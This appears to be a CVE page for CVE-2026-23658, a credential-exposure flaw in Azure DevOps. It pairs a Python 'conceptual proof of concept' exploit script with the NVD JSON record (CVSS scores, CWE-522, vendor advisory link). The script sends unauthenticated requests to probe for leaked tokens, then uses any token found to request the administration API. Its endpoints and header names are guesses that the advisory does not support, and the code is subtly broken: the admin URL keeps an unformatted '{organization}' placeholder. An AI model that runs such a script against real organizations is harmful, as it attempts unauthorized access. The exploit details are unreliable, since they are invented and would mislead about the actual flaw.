CVE-2026-23658

import requests # Conceptual Proof of Concept for CVE-2026-23658 # This script demonstrates how an attacker might exploit insufficiently protected credentials. # Note: This is for educational purposes only. target_url = "https://dev.azure.com/{organization}/_apis/{vulnerable_endpoint}" def exploit_cve(target_org): # Step 1: Send unauthenticated request to leak credentials print(f"[*] Attempting to access {target_org}...") try: response = requests.get(target_url.format(organization=target_org, vulnerable_endpoint="build/releases")) # Check if sensitive credentials are leaked in the response if "authorization_token" in response.text or "PAT" in response.headers: print("[+] Vulnerability confirmed! Credentials leaked.") leaked_token = response.headers.get("Authorization-Token") # Step 2: Use leaked token for privilege escalation print("[*] Attempting privilege escalation with leaked token...") admin_headers = {"Authorization": f"Bearer {leaked_token}"} admin_resp = requests.get("https://dev.azure.com/{organization}/_apis/administration", headers=admin_headers) if admin_resp.status_code == 200: print("[+] Privilege escalation successful! Admin access granted.") else: print("[-] Failed to escalate privileges.") else: print("[-] Target not vulnerable or patched.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit_cve("example-organization")

{"cve": {"id": "CVE-2026-23658", "sourceIdentifier": "[email protected]", "published": "2026-03-19T21:16:54.487", "lastModified": "2026-04-01T15:14:56.417", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Insufficiently protected credentials in Azure DevOps allows an unauthorized attacker to elevate privileges over a network."}, {"lang": "es", "value": "Credenciales insuficientemente protegidas en Azure DevOps permite a un atacante no autorizado elevar privilegios sobre una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_devops:-:*:*:*:*:*:*:*", "matchCriteriaId": "238C9D36-6940-492B-B0AC-EBF02676729F"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23658", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}